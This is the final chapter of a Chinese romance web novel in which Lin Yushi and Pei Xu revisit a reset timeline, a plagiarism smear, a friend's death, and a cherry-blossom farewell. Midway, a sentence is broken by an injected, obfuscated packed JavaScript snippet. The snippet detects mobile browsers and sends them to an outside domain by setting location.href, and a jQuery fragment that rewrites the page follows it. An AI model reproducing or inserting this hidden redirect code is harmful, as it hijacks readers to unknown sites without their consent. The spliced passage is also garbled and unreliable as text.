而今,作文竞赛成绩已经再一次发布,今天也没有出现那次时候的事情,一切平稳,为何自己还会坠入进梦境中,想起那年的那天? 而关于那年的抄袭事件,林予诗记得所有的细节。裴叙假装成张昊的读者,试图与他取得联系。以交流写作之名,将他约在了学校附近的咖啡馆里。那天,林予诗也在咖啡馆里潜伏着。见到是张昊之后,场面一度变得尴尬起来。见状,林予诗也不在一旁继续站着了,她走到了裴叙的身边,只对张昊说了一句“为什么”。 时间线重置之前的张昊对林予诗怀揣着一种无法消除的嫉妒,他不明白,为什么会有人语文一直压他一头,会在所有的板块里得分都比他高,甚至连他自己曾经最引以为傲的作文,都拿不出手来。直到有一天,他看见了林予诗一不小心放在课桌上的大纲草稿,知道了她的作品名,顺藤摸瓜地找到了她的笔名。在知道她即将出版一部作品后,心里的那种不平衡感接续爆发。所以,他故意成为作者,故意接近林予诗,他就是想在她新书上市之前,狠狠地“恐吓”她一下。 后来,张昊知道了林予诗也将参加那场具有保送性质的作文竞赛,便故意在微博私信里发了那么些不明不白的话,为的就是弄乱她的思绪,好让她发挥失常。结果,成绩发布前,张昊通过小道消息得知,林予诗不仅没有发挥失常,还拿了第一名,顺利获得了保送的资格。这让他有点坐不住了。于是,在成绩发布前,张昊便在网络上散布了那些关于“予时”抄袭的谣言…… 林予诗记得,这件事一切的发现和后续处理,裴叙是全程参与的。 他就像是暗夜里忽然出现的一盏路灯,光线不昏黄,能够完完全全地为她照亮前方的路。在母亲离世不久和自己陷入舆论氛围的那段日子里,裴叙是那唯一一个一刻不停地陪在她身边的人。 想到这,林予诗缓缓地松了一口气。好在这一次时间线重置,母亲没有离开,她也没有陷入进舆论的漩涡中。 回忆的发条渐渐停止,但那场不好的梦终究还是赶走了原本应该占据上风的昏沉夜眠,林予诗索性起床,点开了小台灯。只觉得一阵口渴,林予诗拿着床头柜上的玻璃杯,轻轻地走出了自己的房间。 只是她刚一推开房门,就看见了客厅里亮着的微弱光线。于是立即将门完全打开,林予诗就这样看见了此刻在窗边抬头看着夜空的裴叙。 顺着他视线所在的方向看过去,不顾他放下的目光,林予诗边走边瞧见了一轮明亮的月色。周围分散着正在不停闪烁着的星星,夜风不知道躲到哪里去了,没有让薄薄的云遮住月光。 “你怎么不去睡觉?”林予诗好奇,“是?睡不着吗?” 从前,都是他问她是不是睡不着。而这一次回到过去,没想到她主动向他问起是不是睡不着。 意料之外的“剧情”走向,裴叙感到了一丝丝的意外。所以,他点了点头,轻轻地“嗯”了一声。 林予诗说:“睡不着的话,就来找我说说话,你要是懒得敲响我的房门,你就打电话给我。” 话音落下,裴叙只觉得自己的心像是在一瞬间里落空了一样。在时间线重置之前的同样一天里,他曾对她说过这句“睡不着就给我打电话”。 裴叙在心中犹豫了一会,还是决定说出自己为什么要在这里的原因。 于是他自顾自地看着窗外,说:“我刚刚接到了一通来自旧金山的电话。卫海潮……” 忽然停顿,空气沉入安静。 彼时的他们都知道卫海潮发生了什么。 只不过林予诗是靠先前残存的记忆在猜测着——现在的日期对不上那年那天,除非是时间提前了。 “离开了。” 心里的答案最终还是得到了验证,此刻的林予诗已经明白,所有将要发生的事情,早已不在原先应有的时间线上了。 一切都错乱了,一切又都变得未知了起来。 “我已经买好了飞往旧金山的机票,也有你的一份。” 嗯,这倒是和时间线重置之前是一样的。林予诗点头说知道了,语气里夹杂着颤抖。就算是重来一次,她仍然会下意识地出现同样的反应。 “我们去楼下走走吧。” 裴叙忽然向她伸出了手,“春天要结束了,夏天就要到了,我们去捉住春天的尾巴吧。” “幼稚。”林予诗吐槽。 但她还是牵住了他的手,而后和他一起出了门。 她记得,在时间线重置之前,这件事发生在自己被诬陷的事情处理结束的不久后。 那时候的他们,就这样毫无预兆的成为了两艘流浪在茫茫大海中的小船。 周围没有一切,一望无际,天空或是白昼,或是暗夜。 他们只有彼此。 他曾在夜里忍不住落泪哭泣,而那时她什么话都没说,只是紧紧地拥抱住了她。 不知道有过多少个在路灯下拥抱彼此的夜晚,只记得那年春天像是过了很久很久,永远看不到尽头,樱花接连地盛开,像是永远不会凋零一样。 她曾在那个时候问过他一个问题。 她说:“你最喜欢什么季节?” 他毫不犹豫地回答:“春天。” 她紧接着问:“为什么会喜欢春天。” 他先是停顿了几秒。 这并不是犹豫,而是在思考如何措辞为好。 他看着她的双眼,轻声说:“因为,听说,你在春天。” 林予诗假装不明所以地看向他,她心里早已明白他为什么会这么说。 他看着她的神色,笑着解释说:“因为,我们是在春天遇见的呀。” “我知道。我最喜欢的季节也是春天。”林予诗说,“你喜欢樱花吗?我很喜欢。” “喜欢。” 记忆的溯洄让人只觉得全身轻飘,走在楼梯间里,林予诗正猛烈地克制着那种轻飘飘的感觉,试图让自己从时间线重置前的记忆里完全抽离。 她在心中祈祷,只需要再给她一点点时间就好,她还有些话没有同他说完。 “你看,那里有一棵樱花还未落下的樱花树。”指着不远处的路灯下,裴叙轻声说。 春天快要结束了,怎么还会有没有凋零的樱花树呢? 面对这个问题,林予诗并不疑惑,她知道答案。 跟着他走到了那棵闪着光的樱花树下,就像是来到了一个只会在梦中出现的地方。 他们面对面在树下站着,就这样安静地看着彼此的视线。直到感觉视线变得灼热了几分,两人才慌张地移开自己的视线,看向了另一个方向。 没有人在笑,只有几滴泪水,落在了铺满了樱花花瓣的路上。 不知道是谁的泪光在落下。 过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840638|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了好久好久,不知道从哪忽然吹来了一阵风。 那阵风吹起了身边的樱花花瓣,花瓣渐渐环绕在周遭,世界落下了一场他们此生从未见过的樱花雨。 “林予诗,抱抱我吧。” ——抱抱我吧。 他在心里将这句话重复了21遍。 时至今日,裴叙仍然不清楚到底是真的回到过去,还是进入到了一个有她存在的梦境。 他不知道下一次遇见林予诗会是在什么时候,梦境与现实的不断交叠,让他在时间的尺度中迷失了方向。 春天的尾声中怎么还会有盛开着的樱花树呢?初春的长宜又怎么会落下一场大雪呢? 缓缓伸出手,一片樱花花瓣落在了手上,裴叙将它紧紧地攥在了手心。 就在那时,风忽然安静了下来。樱花雨还在落着,模糊的视线中,裴叙听见了她的声音: “等樱花雨结束,就回家吧。” 裴叙摇头说了句“不要”,他说,他要和林予诗一起回家。 他说,林予诗你不能丢下我。 他说,我也不会丢下你的。 他永远记得,这是他们之间的承诺。 林予诗抬头看向裴叙,歪着头朝他微微一笑,就像那年春天他们初次见面时候的那样。 他对她说:“你不在,我就没有家。” 她笑着摸了摸裴叙的头发:“裴小狗,傻瓜。” 又一阵风吹起来了。那时泪水早已模糊了裴叙的视线,他早已分不清楚眼前的一切究竟是樱花雨还是什么。 原来第二十一次回到过去的梦境,是一场以告别为名义的再次遇见。 裴叙抽泣着不敢松开自己的手,在风声安静下来的那个瞬间,他听见她说: “我此生最深刻的记忆出现在我们遇见的那个春天。” 裴叙说他也是。 只是那时候的他还不知道,往后余生的二十一年里,他几乎每晚都会梦见那个他们遇见的那个瞬间。 林予诗轻轻推开裴叙:“慢慢走吧。” 伸手想要紧紧拥抱住她,却发现她已经消散在了自己的视线中。 周围的光渐渐暗淡下来,樱花雨也不再继续,身边只剩下了一盏昏暗无比的路灯。 这才是他身处的世界。 裴叙缓缓抬头,看见了一片盛开的在风中摇曳着的樱花,就像是在和他挥手一样。 他知道,这是她在说着告别。 可他不愿说出那句再见,哪怕是半句。 林予诗离开时手里还拿着那台随身听,那时候,裴叙正在和她一起听着那些和他们有关的录音。 在拿起那只悬在空中的耳机的那个瞬间,裴叙没有想到,那会是他们最后一次一起听随声听里的录音。 那些录音播了一遍又一遍,经过了一年又一年的春天。 岁月的痕迹停留在了那台他们曾经共同拥有的随身听上,它见证了无数次的樱花盛开与凋落。 直到林予诗离开的第二十一年,那台随声听结束了它此生的使命。 缠绕着陈旧的有线耳机,它被放在了那棵樱花树下。 他离开的时候,风吹起了一阵樱花雨,将那台随身听埋藏在了春天中。 往后,再也不会有人听见那些关于他们的故事和岁月留下来的声音。 那年的春天很漫长,满树的樱花像是永远都不会落下一样。 那些十八岁那年没能及时说出来的告白—— 只有春天知道。 ——全文完——